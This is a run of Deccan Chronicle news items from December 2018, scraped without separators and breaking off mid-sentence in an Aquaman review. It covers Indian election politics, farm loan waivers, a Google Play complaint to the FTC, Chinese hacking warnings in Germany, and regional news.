Mission. The Ram Vilas Paswan led LJP had won six out seven seats in 2014 general elections. Patna: Days after the RLSP snapped ties with the BJP in Bihar, another ally LJP has warned the NDA saying that it may suffer a loss in Lok Sabha elections if seat sharing agreement is not finalized on time. LJP state president Pashupati Kumar Paras on Wednesday demanded that his party should contest on the same number of seats in 2019 as they were given in 2014 Lok Sabha elections. The Ram Vilas Paswan led LJP had won six out seven seats in 2014 general elections BJP president Amit Shah should call a meeting of all allies and finalize seat adjustments before December 31 because time is running out. The NDA may suffer a loss if the matter is delayed further, LJP state president Pashu-pati Kumar Paras said. Mr Paras also demanded respectable seat share in Jharkhand and Uttar Pradesh claiming that their voter base exists in these two states. When asked if she was one of the contenders for the job, Mamata Banerjee said, 'This is not the time to discuss this issue.' (Photo: File) Kolkata: West Bengal Chief Minister Mamata Banerjee on Wednesday said the issue of opposition prime ministerial candidate could be discussed after the 2019 Lok Sabha polls. Her comments came in the backdrop of Dravida Munnetra Kazhagam (DMK) president M K Stalin's proposal to announce Congress chief Rahul Gandhi as the opposition's prime ministerial candidate. "It could be discussed only after the 2019 Lok Sabha elections, once the opposition alliance emerged winners. All (opposition) parties will meet and decide on the issue. We will accept that," Banerjee told reporters at the state secretariat. Asked whether she was one of the contenders for the job, the Trinamool Congress supremo said, "This is not the time to discuss this issue. And I am not alone. We are working together. We are solidly together," she said. The TMC earlier said announcing prime ministerial candidate now would be premature would as it would divide the Opposition camp. On reports of the Bahujan Samaj Party (BSP) and the Samajwadi Party (SP) coming together for the 2019 Lok Sabha polls without the Congress, Banerjee said, "This is very good. It is local compulsion. We appreciate that." The Congress could also be fighting alone in places due to similar compulsions, she said. Hyderabad: Opposition leader in the Telangana Legislative Council, Mohammad Shabbir Ali, when speaking to the media on Wednesday, questioned how the poll percentage in the recent Telanagna Assembly elections had increased overnight by 11 per cent. He demanded a reply from the Election Commission and the state government. He said that it is a fact that there is a difference between the number of polled votes and the number of votes that were counted. He said that the Election Commission has to explain the difference of votes in thousands and said he had doubts about the EVMs (electronic voting machine). Mr Ali also alleged that Chief Minister K. Chandrasekhar Rao has changed his words on unemployment allowance, waiver of farm loans and retirement age of government employees. He said that the first thing the Chief Ministers of the new Congress governments in three states did was to sign on the farm loan waiver file. This shows the credibility of the Congress as opposed Chief Minister Rao. He said that Mr Raos statement that pensions will be increased from the next financial year is cheating the people. He demanded that it be implemented immediately. The enhancement of retirement age for government employees should be implemented from January 2019. He also demanded that farm loans of up to `1 lakh should be waived at one time. Mr Ali said the party will complain to Council chairman Swamy Goud about Congress MLC Damodar Reddy joining the TRS, and ask that he be disqualified. He alleged that Mr Rao encouraged defections after he became Chief Minister in 2014. He said that no action has been taken against MLAs and MLCs who had defected, despite complaints by the Congress party, though action has been initiated on TRS complaints against MLCs who joined the Congress. This, he said, is a partisan attitude. He demanded that MLCs Damodar Reddy and M.S. Prabhakar be disqualified immediately. Vijayawada: Andhra Pradesh Chief Minister N. Chandrababu Naidu said that his Telangana state counterpart K. Chandrasekhar Rao had provoked sentiments due to which the Congress-led Mahakutami had lost in the just-concluded Telangana state elections. He also said there was no scope for a third front at the Centre, apparently hitting at the attempts of Mr Rao for a federal front. Mr Naidu said that efforts for a Third or Federal Front are to benefit Prime Minister Narendra Modi indirectly in the future. Talking to TD leaders in a teleconference, on Wednesday, Mr Naidu said that former Congress president Sonia Gandhi had promised special category status (SCS) to Andhra Pradesh if voted to power in 2019 in the Medchal meeting and Mr Rao had used it to invoke sentiment. He said that initially, the TRS had also agreed for SCS to Andhra Pradesh and later made a U turn. He found fault with YSRC cadres and leaders for celebrating the TRS victory in Telangana. He also came down heavily on MIM chief Asaduddin Owaisis offer of help to YSRC chief Y.S. Jagan Mohan Reddy. He asked if Narendra Modi had mediated between Mr Owaisi and Mr Jagan for their friendship to blossom. Mr Naidu added that they were all working to the diktat of Mr Modi. He also said that India had started rejecting Mr Modi and his leadership and the results of the five states was the best example for this. In three states the BJP lost power and in two states, regional parties formed the government, rejecting the BJP. The Chief Minister also said that people in Andhra Pradesh were happy and satisfied with the TD government and should also ensure that they are happy with the party. He asked them to get into election mode with election mission 2019. He asked party leaders to be ready to face polls whenever these are held. He also said that contesting candidates will be announced well in advance. Hyderabad: The Union of India on Wednesday made it clear that there will be no enhancement in the number of Assembly seats in Telangana state and Andhra Pradesh. In a written reply to a question by Y. Satyanarayana Chowdary @ Sujana Chowdary, a member of the Rajya Sabha, the Union minister of state for home Hansraaj Gangaram Ahir stated that the Assembly seats will be enhanced only after calculation of population in 2026. It may be recalled that the chief ministers of Telangana state and Andhra Pradesh had appealed to the Centre to increase the number of Assembly seats in both states as prescribed in the Andhra Pradesh Reorganisation Act, 2014. Andhra Pradesh Chief Minister N. Chandrababu Naidu wants an increase of seats from 175 to 225 and Telangana states Chief Minister K. Chandrasekhar Rao requested an increase of seats from 119 to 153. The Union of India had sought the opinion of the Law ministry on whether Section 26 (1) of the AP Reorganisation Act, 2014 could be implemented by amending Section 26, without any amendment to Article 170 of the Constitution to increase the seats. The Attorney General opined that unless and until Article 170 of the Constitution is amended to bring it in line with Section 26 of the AP Reorganisation Act, 2014, there can be no increase in the number of seats of the assemblies of the two states. Hyderabad: TRS MP K. Kavitha on Wednesday justified Chief Minister K. Chandrasekhar Rao calling Congress president Rahul Gandhi a buffoon at his pre-election press conference. She said the whole nation had watched Mr Gandhi going over to Prime Minister, Narendra Modi and hugging him on the floor of the House, in violation of established practices in Parliament. She asserted that there was nothing wrong in calling a person a buffoon if he does silly things. She said Mr Gandhi as the next Prime Minister was opposed by two political parties from within the political grouping that was forged an alternative to the NDA. Speaking to mediapersons in Delhi Ms Kavitha said Mr Raos decision to form the Federal Front was intended to address issues of the people at the national level and was not about one party rising to power or one leader becoming PM. Stating that the TRS was quite successful in fulfilling the aspirations of the people in TS, she said the front wanted to replicate the success story at the national level. On December 17, the Delhi High Court convicted Sajjan Kumar in an anti-Sikh riots case and sentenced him to life imprisonment. (Photo: File | PTI) New Delhi: Former Congress leader Sajjan Kumar, who has been convicted and sentenced to life imprisonment in 1984 anti-Sikh riots case, has asked Delhi High Court for 30 days to surrender. The former parliamentarian has moved an application before the high court seeking 30 days time to surrender, news agency ANI reported. The court is likely to hear his application on Friday. HS Phoolka, advocate in 1984 anti-Sikh riots, said that he will oppose Sajjan Kumars application in the court. Sajjan Kumar has filed an application in Delhi High Court to give him a month to surrender. We will oppose that application tomorrow, Phoolka said. On December 17, the Delhi High Court convicted Sajjan Kumar in an anti-Sikh riots case after reversing the trial courts order acquitting him in the case and sentenced him to life imprisonment. The case related to the murder of five members of a family in Raj Nagar area and torching of a gurudwara during the anti-Sikh riots in Delhi on November 1, 1984. The court asked the 73-year-old former MP to surrender before December 31. It also directed him to not leave Delhi and levied a fine of Rs 5 lakh on him. A day after being convicted and sentenced, Sajjan Kumar resigned from the primary membership of the Congress in a letter to party president Rahul Gandhi. India has 300 million Facebook users and 200 million on Facebook's WhatsApp messaging service - more than any other democracy. (Representational Image | Pixabay) Jaipur/Tonk: When India votes in the general election next year, it will be the world's largest democratic exercise, and the biggest ever test of the role of social media in an election. As the ruling BJP readies for battle with the Congress-led opposition in the 2019 elections, the role of Facebook, Twitter and WhatsApp could be crucial in deciding who wins. India already has close to 900 million eligible voters, and an estimated half-a-billion have access to the Internet. The country has 300 million Facebook users and 200 million on Facebook's WhatsApp messaging service - more than any other democracy. Millions use Twitter. "Social media and data analytics will be the main actors in the upcoming elections. Their use would be unprecedented as both parties now use social media," said Usha M Rodrigues, a communications professor at Deakin University in Melbourne, Australia, whose research has focused on social media and Indian politics. The potential for abuse is also immense, with incendiary news and videos capable of fanning violence. Fake news and messages circulated on social media have led to more than 30 deaths since last year, data portal IndiaSpend says, mostly rumours about child kidnapping gangs. Political differences have in the past been no less deadly. "Social media discourse, already bitter, will turn bilious," Milan Vaishnav, a senior research fellow at the Carnegie Endowment for International Peace in Washington, said of the coming campaign for the general election. Both the main parties accuse each other of propagating fake news while denying they do so themselves. Nevertheless, the battle lines between them are clearly drawn. Congress has attacked Prime Minister Narendra Modi's economic policies while the BJP dismisses the Congress as out of touch with the people. This month, Congress won elections in three major states - Rajasthan, Madhya Pradesh and Chhattisgarh - that were the strongholds of the BJP, setting the stage for a tight contest in 2019. Helping the Congress was a revamped social media strategy. War-Rooms In the last election in 2014, Congress was crushed by PM Modi and his array of social media tools, including a flurry of tweets from his personal account, a BJP campaign on Facebook and holographic displays of PM Modi in villages. Congress president Rahul Gandhi got a Twitter account only in 2015. But the opposition party is catching up and the playing field has gotten a lot bigger. India now has 450 million smartphone owners against 155 million at the last election in 2014, according to Counterpoint Research. That's more than the entire population of the United States. Reuters visited one of the hubs of Congress's online operations in Rajasthan, one of the three states it won this month - a drab three-bedroom apartment up a dimly lit staircase in capital Jaipur. Inside, party workers tracked news channels and social media posts on a wall of television screens. A three-member team of audio, video and graphic experts designed campaign material that was posted to public websites, while other volunteers used WhatsApp to send instructions to party workers. "We were kids back then, but we are going to outmanoeuvre them now," said Manish Sood, 45, who runs his own social media marketing business and was managing the Congress volunteers at the Jaipur war-room. Still, fighting PM Modi online isn't easy. With 43 million followers on Facebook and 45 million on Twitter globally, PM Modi is among the world's most followed politicians. Gandhi has 8.1 million followers on Twitter and 2.2 million on Facebook. A request to visit the BJP's social media centre in Jaipur was declined, but a member of the party's Rajasthan IT unit, Mayank Jain, said it ran similar social media operations from two apartments in Jaipur. "Congress understands social media a bit now, but they do not have the volunteer manpower," Jain said in an interview, showing dozens of BJP WhatsApp groups on his phone, one of which was named "BJP RAJASTHAN'S Warriors". Rise Of WhatsApp While Twitter and Facebook were embraced by politicians - mainly in the BJP - in 2014, it's WhatsApp that has now become the social media tool of choice. In Jaipur and the nearby town of Tonk, where traditional methods like public speeches and poster campaigns were widely used during the state elections, Congress and BJP party workers showed dozens of WhatsApp groups they were part of and used for campaigning. Congress said its volunteers managed 90,000 WhatsApp groups in Rajasthan, while the BJP said it controlled 15,000 WhatsApp groups directly, with its workers campaigning through roughly another 1 lakh groups. But WhatsApp has been at the centre of controversy. After the false child kidnap messages were spread on the platform in India, it was flooded with falsehoods and conspiracy theories ahead of the October election in Brazil. WhatsApp's end-to-end encryption allows groups of hundreds of users to exchange texts, photos and video beyond the purview of authorities, independent fact checkers or even the platform itself. "WhatsApp is the biggest challenge for us right now on the social media front," said Nitin Deep Blaggan, a senior police officer in charge of monitoring online content in Jaipur. WhatsApp has limited the number of messages a user can forward in one go to 20 but in India specifically, the ceiling was fixed at five. The company blocked "hundreds of thousands" of accounts in Brazil during the election period, and the same was expected ahead of the elections in India, a source aware of the company's thinking said this month. "We have engaged with political organizers to inform them that we will take action against accounts that are sending automated unwanted messages," Carl Woog, WhatsApp's head of communications, told Reuters in a statement. He did not name any parties. A Facebook spokeswoman said the company was "committed to maintaining elections integrity" and making efforts to "weed out false news". Twitter said it had made efforts to protect the electoral process and better detect and stop malicious activity. During the Rajasthan elections, police ran a 10-man social media monitoring unit, tracking tweets and Facebook posts related to the state polls. Inside the monitoring room, the posts were shown on wall-mounted screens and automatically filtered into neutral, positive or negative sections. The negative posts received special attention - they were manually checked and, sometimes flagged to senior police officers for further investigation and action. The sole aim, members of the monitoring team said, was to ensure that no online post spilled into violence. One of the posts flagged by police when Reuters visited was a video from a Congress leader's rally where people appeared to be shouting pro-Pakistan slogans. Congress' nearby war-room had already debunked the video they said was doctored. Within hours, party workers posted what they said was an "original" video that showed that nobody shouted such slogans at the rally. Bengaluru: The Assembly was adjourned on Thursday without transacting any business as BJP members staged a protest in the well of the House, demanding an apology from Chief Minister H D Kumaraswamy for "insulting" their party chief, B S Yeddyurappa. Referring to the CM's statement on Wednesday, Mr Yeddyurappa said it was his prerogative to meet bank managers and talk to them and it was insulting of Mr Kumaraswamy to imply he had instigated them not to cooperate with the government on the farm loan waiver. While he insisted on an apology from the CM, BJP members continued their protest in the well of the House. Speaker Ramesh Kumar interrupted Mr Yeddyurappa to ask how he could give a speech in the House when it was not in order. Your party members are staging a protest and you are making a speech. How can it become part of the proceedings?'' he asked. Referring to the CM's remarks, Mr Ramesh Kumar said he could not direct either opposition or ruling party members to speak in a particular way and could only expunge unparliamentary words that may have been spoken. "If the CM had said anything objectionable, you should have used the same platform to give it back to him," he told Mr Yeddyurappa. When the BJP members responded by raising slogans, the Speaker adjourned the House for 20 minutes, but seeing they were in no mood to relent even after it re-assembled, he adjourned it for lunch. As the BJP continued its protest post- lunch, the House adjourned for the day. BJP members, including Mr Yeddyurappa have used words like bundle of lies, Topi' (for cheating) and dead government. I have the previous records and in 1990, such words were removed from records. It is BJP members, who have to apologise,'' the CM told reporters. Upset with S.R. Patil not being made Legislative Council chair, Siddu is keen to get more legislators from N. Karnataka into the cabinet. BENGALURU: Several aspirants landed in New Delhi well before arrival of the top brass of state unit of Congress to discuss the expansion of the cabinet with party president Rahul Gandhi and to fix the regional imbalance in the ministry, with the delay in drawing up the list of new faces getting on the nerves of Chief Minister H.D. Kumaraswamy on Thursday. While the cabinet aspirants left Belagavi midway through the winter session of legislature to lobby with central leaders of Congress, Mr Kumaraswamy glowered on the sidelines of the session, saying I am yet to receive a message from Delhi when asked about his letter to Governor Vajubhai Vala about the swearing-in ceremony on December 22. Sources in Congress said former CM Siddaramaiah, deputy chief minister Dr G Parameshwar, KPCC president Dinesh Gundurao and working president Eshwar Khandre arrived in Delhi this evening to meet party general secretary K.C. Venugopal and Mr Gandhi on Friday to pick six legislators for vacancies in the cabinet. They, however, are not speaking with a single voice vis-a-vis expansion of the ministry, as there is no unity on whether to seek approval for a reshuffle or press for status quo till next year's Lok Sabha polls. While Dr Parameshwar was among those supporting status quo, Mr Siddaramaiah is not. Already upset with rejection of his nominee S R Patil for the post of Chairman of the Legislative Council, the former CM is evidently keen to get more legislators from north Karnataka into the ministry and is therefore set to demand an expansion. But Some central leaders are also keen to show the door to non-performing ministers and make room for induction of new faces, sources added. Sources said the leaders would strive to appease voters of all communities ahead of Lok Sabha polls in 2019 and induct former ministers Mr R Ramalinga Reddy, Mr M. B. Patil, Mr K. H. Patil, Mr Tanveer Sait, and Mr M.T.B. Nagaraj, Mr B.C. Patil, Mr Tukaram or Mr B, Nagendra and Mrs Roopa Shashidhar to balance the caste equations. Hyderabad: Hours before new home minister Mahmood Ali took charge on Thursday , in his trademark style he kissed the hand of TRS working president K.T. Rama Rao and tied on his arm the imam-e-zaman, which usually he does to Chief Minister K. Chandrasekhar Rao. The home minister prayed for Mr Rama Rao before the latter left for Warangal to address his first public meet after being appointed as the TRS working president. Mr Mahmood Ali, on the first day at his office, batted for weekly offs for police personnel as the provision was never part of the system. He also urged the officials to encourage friendly policing. Speaking at his chambers, he said, The law and order situation in the state will be in proper control. Friendly policing will be implemented to boost the confidence of the public. The department will consider allocating weekly-offs to personnel. While, former home minister Nayani Narsimha Reddy, DGP Mahender Reddy and a few other senior officials were present when Mr Mahmood Ali took charge. Mr Mahmood Ali was the only minister to take oath along with Chief Minister K. Chandrashekar Rao on December 13. He is considered as a close aide of the Chief Minister. The expansion of the Cabinet is likely to take place by December end. The home minister thanked the Chief Minister for giving him the responsibility of law and order in the state. I will push for people-friendly police services and work according to the instructions of the Chief Minister, he said. Hyderabad: The transfer of defence lands, Bison Polo Ground and Gymkhana Ground for the construction of the new state Secretariat has run into a legal hurdle. Minister of state for defence, Subhash Bhamre, said in a written reply that a final decision has not been taken on the transfer of land to the TS government because a case is pending in the High Court of Telangana and Andhra Pradesh. In the written reply to Telangana Rashtra Samiti MP Parliament Kotha Prabhakar Reddy on Thursday, the Union minister said that a proposal was received from the Telangana Chief Minister requesting transfer of the Bison Polo Ground, Gymkhana Ground and other defence lands in Secunderabad cantonment, for construction of Secretariat and roads. He said that an in-principle approval of the ministry of defence was conveyed to the Telangana state government in respect of the transfer of 61.032 acres of the Bison Polo Ground and Gymkhana Ground, and 90.694 acres of other defence land for developing national highway-44 (Medchal highway) and state highway-1 (Rajiv Rahadari) under the strategic Road Development Plan. But, he said, the Bison Polo Ground and Gymkhana land is currently under adjudication in the High Court of TS and Andhra Pradesh. The streak of competitive farm loan waivers is good politics, particularly because of the looming general election. Blanket loan waivers are, however, bad economics. A demand and supply-driven market is the wisest leader, and thus writing off loans for anyone is undesirable. But even the greatest minds in economics must come around to the view that society counts, and helping distressed sections to climb out of poverty or financial stress is a safety valve against social unrest. Any view on economics must also accept that in a developing nation the State plays a role that is larger than life. Many developed economies also have pro-farmer policies, and India, with over 50 per cent of its population dependent on agriculture, cannot but be pro-farmer. The recent poll results in the Hindi heartland can be ascribed to agrarian distress and dearth of jobs, which is why these competitive farm loan waivers will continue until the already-stressed State finances reach a breaking point. But Indias $2.6-trillion economy can still take the pressure, which it must for the sake of food security. Received wisdom would suggest that loan waivers cant be a long-term policy. For agriculture to be viable, the farmer must get a minimum support price that is close to the market price. Layers of middlemen and complex procurement processes mean that farmers hardly get any credible value for their produce. Only an orderly supply chain, access to credit and markets, besides fair crop insurance, can assure a debt-ridden farmer that his toil will give him a life worth living. In our populism-driven politics, there is more place for institutional loan waivers than planned liberalisation of the farm sector. As long as the leadership simply reacts to issues than become proactive, the troubling status quo will prevail. Input costs are rising while farm produce is fetching less and less at the sale point and the declared MSPs, despite a 150 per cent hike, dont seem to have helped. Farmers face the inevitable battle against failing monsoons. Only a section of farmers derive benefit from waivers, as rural wages remain stagnant. And yet, because of the coming Lok Sabha elections, governments are looking at the farm and rural economy. A one-time farm loan waiver on a national scale may help somewhat, but states are competing against each other already, even in wiping out rural power bill arrears. What is really needed is a national policy to set up an equitable mechanism under which most of what people pay for their foodgrains reaches the farmer owner and cultivator. Years of planning and tinkering with the system through committees has not helped. Fresh thinking is necessary at the national level. Also, the cost of waivers must be computed and effective measures taken to ensure that its financial effects are contained. It was house full at Congress president Rahul Gandhis press conference at Ahmedabads Radisson Hotel. The rear entrance enabled me to have a fixed, standing position between tripods and a battery of cameras. Where is Ahmad Patel? I whispered to the cameraman peering into his lens. He lifted his head and winked. Muslims not allowed! Throughout the Gujarat campaign, the Congress president had missed no temple and entered no Muslim neighbourhood. He was scrubbing very hard to remove the label which the BJP had pasted on the Congress: a Muslim party. Imitation, I said, is the highest form of flattery. But if the Congress is seen only as the BJPs B-team, why would voters not go for the real thing? The BJP, I argued, can be defeated only by changing the discourse, bringing people into focus, their distress which neo-liberal economics has accentuated even as crony capitalism has galloped. Mir Taqi Mirs couplet always comes to mind. Na mil Mir ab ke ameeron se tu/ Huwe hain gharib inki daulat se hum (Avoid the new rich of today/ It is they who have impoverished us). Mir was talking about inequality, the bane of our times, against which the yellow vests in Paris are agitating exactly as the Occupy movement had once entered the very citadel of capitalism, Wall Street. The Hinduism of Rahuls adoption must vibe with the majority of Indians who are poor. The recent farmers agitation looked like the tide with potential. And who in this deeply religious country is more endowed with the very lyric of Hinduism than the Indian farmer? Admittedly, Rahuls Hinduism is a tactic. So effective has been the BJPs saffronisation campaign that even the Communists now shy away from discussing minorities. West Bengal chief minister Mamata Banerjee has decided to build 10 Sun temples. The Samajwadi Partys Akhilesh Yadav will build a Vishnu temple. There is, of course, the biggest temple of all to be built in Ayodhya. If Rahul places his newfound religiosity on a creative track, he can trump the BJP on that count too. Absurd though it may sound, he can, under certain circumstances, bring Muslims around to the idea which the ailing Lucknow cleric Maulana Kalbe Sadiq has been consistently propagating. Even if the Supreme Court verdict goes in their favour, Muslims should, in an act of magnanimity, help build the Ram temple. This cannot be expected of a community with its back to the wall, and which sees itself as an object of hate. But if Rahuls is an all-inclusive Hinduism where all are equal, well, the terms of endearment can change. Rahuls father, Rajiv Gandhi, after all, had the Ayodhya temple locks opened, an act which facilitated the temple movement. Rajiv Gandhi had promised Ram Rajya while inaugurating the 1989 election from Ayodhya. He allowed the brick-laying ceremony of the Ram temple on the disputed land but asked officials to look the other way. He fell between stools. Gingerly flirting with Hinduism proved counterproductive. Rahul has come out overtly, causing some of us to smirk. How far will he go? The Congress Party, as Rahul must know, was implacably opposed to the two nation theory that is Hindus and Muslims constitute two distinct nations. Maulana Azad, president of the Congress from 1939 to 1945, had arrived at an agreement for an undivided India with the British Cabinet Mission. He was unequivocal. Partitioned India will be unadulterated Hindu Raj. It may have sounded rhetorical in the earlier years but where we have arrived is exactly what Maulana Azad had predicted. The Congress Working Committee meeting of June 3, 1947 accepted Lord Mountbattens Partition plan. Why was Maulana Azad the only leader to have had serious misgivings? The Frontier Gandhi, Khan Abdul Ghaffar Khan, had wept. You have thrown us to the wolves, he lamented. Only these two Doubting Thomases? All the others swallowed Partition hook, line and sinker? With some reluctance, even Mahatma Gandhi had accepted Partition. At least this is what Azad writes in India Wins Freedom. An endorsement of Lord Mountbattens plan to divide India implied that the two-nation theory had been accepted. The creation of Pakistan was one step in that direction. Just as the neighbour was called Pakistan, could we not have been named Hindustan? In reality, we glided seamlessly from the British Raj to a Hindu Raj but, ridden by a guilty conscience, hesitated to spell it out. It is this hesitation which had created room for the BJP to step in and grow. If I were a Hindu, I would ask, as the late Vinod Mehta, my friend of 60 years, asked me in his Nizamuddin flat: 800 years of Muslim rule, 200 years of the British and next door there is now a Muslim state. Against this backdrop, would you grudge me a Hindu state? Volumes would have to be written to focus on the nuances embedded in Vinod Mehtas query, but for purposes of a quick column this may be the appropriate moment to touch on issues now that the Indian National Congress has, with unprecedented honesty, embraced its Hindu credentials. And, on current showing, the switch has been accepted by the people of three northern states, at least. Nehru would have been uncomfortable with a Hindu Raj for a variety of reasons, but the overriding reason for keeping aside Hindu Raj was realpolitik: what principle would then be cited to keep Kashmir? Pakistan would have claimed the Valley on the contiguity principle. When the founding fathers charted a course of neutrality, tolerance, respect for all religions without privileging any one of them, they had probably not taken into account the crucial reality a multi-religious, multi-ethnic, multilingual, society frozen for centuries in a caste system, suddenly exposed to notions of democracy, upward mobility and egalitarianism, would create upheavals. A society that was inherently unequal was being set on a path of equality. The way ahead had to be unspeakably turbulent. Add to this the following the worlds largest minority and third largest Muslim population found itself unable to produce that certificate of nationalism which is not available without a compulsive hatred for Pakistan. This hatred, tied with the televised image of Kashmiris as terrorists and Indian Muslims as a potential fifth column, is a lethal mix, custom made for a societal wreck, which is what we are today. So then, let us give Rahuls Hinduism a chance. Nearly two dozen consumer, privacy and public health groups are urging US regulators to investigate whether children are being endangered by deceptive apps in Googles app store for smartphones running on its Android software. The 102-page complaint filed Wednesday with the Federal Trade Commission alleges Googles Play store is harming kids by allowing apps that break privacy laws, contain adult content or include manipulative advertising in a section of its Play store designed for children. The call for FTC action is being led by two groups, the Campaign for a Commercial-Free Childhood and the Centre for Digital Democracy, that has previously attacked Googles approach to kids. In April, they asked the FTC to crack down on Googles YouTube video site for alleged violations of childrens online privacy. Twenty other groups, including Consumer Action, Public Citizen and the US Public Interest Research Group, joined in the latest complaint. Google issued a statement emphasising its commitment to protecting children while they are online one of the reasons the company says it prohibits targeted advertising at children under 13. We take these issues very seriously and continue to work hard to remove any content that is inappropriately aimed at children from our platform, Google said. More than 2 billion devices worldwide are powered by Google software, with a significant number of those being used by minors. The complaint focuses on alleged misconduct under US laws and regulations. The attempt to pressure the FTC to open an investigation comes amid an intensifying backlash against Google, Facebook and other companies that make most of their money by using their free services to track peoples interests and whereabouts and then mining that information to sell ads targeted at them. The angst has raised the spectre of Congress drawing up tougher regulations to curb the tech industrys power and restrict its ability to compile digital dossiers about the people who have become increasingly dependent on its services. Rep. David Cicilline, a Democrat from Rhode Island who has been critical of Google, issued a statement supporting the groups seeking an FTC investigation as did Sen. Tom Udall, a Democrat from New Mexico. It is past time for the Federal Trade Commission to crack down to protect childrens privacy, Udall said in a statement. Although the FTC doesnt typically comment on whether it will investigate issues raised in complaints, it has punished both Google and Apple for what it deemed to be child exploitation in the past. In 2014, it reached a settlement requiring Google to refund USD 19 million for allowing apps distributed through its store to charge children for purchases made without parents consent. That came after a similar agreement required Apple to refund USD 32.5 million for in-app purchases made on iPhones, iPads and other devices without parents permission. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. GDPR is a new EU privacy law implemented in May this year. (Photo: AFP/Representational Image) The European Union on Wednesday urged the United States to nominate a permanent ombudsman by the end of February to investigate complaints about data breaches, an essential element of a landmark data transfer pact agreed two years ago. EU technology chief Andrus Ansips comments came after the European Commission wrapped up its second review of the so-called EU-US Privacy Shield, which is designed to better protect Europeans personal data transferred across the Atlantic for commercial use. More than 3,850 companies have signed up to the pact, which replaced a previous framework known as Safe Harbour, thrown out by Europes highest court in 2015 because it gave US spies excessive access to personal data. We now expect our American partners to nominate the ombudsperson on a permanent basis, so we can make sure that our EU-US relations in data protection are fully trustworthy, Ansip said in a statement. The Commission, the EU executive, said it would take appropriate measures in line with the General Data Protection Regulation (GDPR) if the US government did not nominate an ombudsman by the end of February. GDPR is a new EU privacy law implemented in May this year, which gives new powers to the blocs privacy regulators. The Commission said measures taken by the US government in accordance with the Privacy Shield ensure an adequate level of protection for Europeans personal data. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Cloudhopper focuses on hacking large, third-party, data storage companies, and cloud software service companies that store data for US companies and government agencies. Germanys Office for Information Security (BSI) has issued warnings to several German firms named by the United States as possible victims of hacking attacks, a newspaper reported, adding that Chinese activity against German firms had increased. Cyber experts have long warned that Germany - with its high level of technology expertise - is a particularly attractive target for cyber attackers of all kinds, including state actors. Construction and materials research, engineering firms and some big commercial enterprises are the focus for hackers, the Sueddeutsche Zeitung wrote on Wednesday without naming its sources. The United States is embroiled in a trade conflict with China and a senior US intelligence official said last week that Chinese cyber activity in the United States had risen in recent months, targeting critical infrastructure. US prosecutors are expected to charge that Chinese hackers were involved in a cyber espionage operation known as Cloudhopper targeting technology service providers and their customers, according to people familiar with the matter. Cloudhopper focuses on hacking large, third-party, data storage companies, and cloud software service companies that store data for US companies and government agencies. The Sueddeutsche said Cloudhopper attacks were still relatively rare in Germany compared to attacks believed to originate in Russia. While there are not yet weekly victims, the attackers act in a more targeted manner and the damage could therefore be greater, the newspaper said. In September, Germanys then domestic spy chief said a growing number of countries can hack into private computer networks and install malicious software to sabotage another countrys infrastructure. He said China, Russia and other countries continued to try to break into German companies computers to steal industrial information. In a push to fend off unwanted takeovers by Chinese investors, Germanys cabinet is expected on Wednesday to lower the threshold to launch security probes of stake purchases by non-European entities to protect critical infrastructure. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Moscow: At least four civilians have been killed, while three others injured in a blast in Herat province of Afghanistan on Thursday, local media reported, and citing Afghan officials. According to the TOLO news broadcaster, the explosion took place in Chesht district of Afghanistan's province of Herat in the morning. Details of the incident are not yet specified. Afghanistan has long been suffering from unstable political, social and security issues due to the activity of the Islamic State terrorist group (outlawed in Russia) and the Taliban. The Afghan National Defence and Security Forces are currently conducting joint offensive operations to combat terrorism across the country. The district administration and the Health Department have initiated measures to monitor the health condition of the victims of Kichchugutti Maramma temple Prasada poisoning case who are discharged from the hospitals. As on Thursday, 52 patients have been discharged from various hospitals in Mysuru. The medical professionals, including psychiatrists and doctors, will visit the houses of the victims regularly to monitor the health condition. Three teams, comprising psychiatrists, have been constituted and they will visit the houses regularly. For the emergency purpose, two life supporting ambulances fitted with ventilator have been stationed at Hanur and Kollegal taluk hospitals and a general ambulance at Martalli village. Besides, the Health Department has deputed eight doctors from Chamarajanagar Institute of Medical Sciences at six primary health centres (PHCs) Male Madeshwara Hill, Martalli, Ponnachi, Rampura, Hanur and Kowdalli. The doctors will be available in these PHCs round-the-clock, District Health Officer (DHO) Dr K H Prasad said. If the doctors find any medical problem during the follow-up, the patients will be immediately shifted to the Kollegal Hospital. A majority of the victims are left mentally disturbed after the incident and the chances of them getting into depression is high. The department has taken several measures to monitor the health condition of each victim and ensure all of them recover soon, the DHO said. As directed by Deputy Commissioner B B Kaveri, food items were distributed among the family members of the deceased. The deputy commissioner has also ordered to distribute ration to the families of the patients, who are discharged. Accordingly, each victim will get 25 kg rice, five kg dal and sugar, two litres cooking oil and the other essential products. AQUAMAN 3 stars Jason Momoa, Temuera Morrison, Nicole Kidman, Patrick Wilson, Dolph Lundgren, Amber Heard; PG-13 (sequences of sci-fi violence and action, and for some language); in general release; running time: 143 minutes Aquaman is weird and corny and fun, but it would have been more fun if the weirdness and corniness had been dialed up to 11. Director James Wans film is the story of how Jason Momoas supporting hero from last year's Justice League evolves from shirtless, sarcastic antihero to costumed king of the marine kingdom. The journey has its high points, but the pieces often feel clumsy, and to be honest, the antihero Aquaman is a little more fun. Wan starts with some back story, showing Aquamans parents meeting when his father, Tom (Temuera Morrison), finds Atlanna (Nicole Kidman) washed up on the coast of Maine one dark and stormy night. Atlanna is royalty from the lost civilization of Atlantis, but she falls in love with Tom and has a son, Arthur, who shows unique powers even beyond a normal Atlantian. This combination of advanced powers and mixed heritage turn Arthur (Momoa) into the exiled proto-Aquaman we saw in the Justice League movie, and in this installment, he gets summoned to his rightful underwater home to deal with a rising threat. In the sunken kingdom of Atlantis, Arthurs half-brother, King Orm (Patrick Wilson), is trying to unite a group of undersea factions to wage war on humanity, which has polluted the seas for too long. He has a supporter in King Nereus (Dolph Lundgren), but Nereus daughter, Mera (Amber Heard), thinks peace is the better move and hopes Arthurs dual identity can stave off disaster. First, Mera has to persuade Arthur to get on board with the idea of being king. Then Arthur has to find a lost sacred trident and confront King Orm. In the meantime, Arthurs also dealing with an Atlantian technology-wielding pirate named Black Manta (Yahya Abdul-Mateen II), who blames him for the death of his father. It's a little sporadic, and some awkward exposition tries 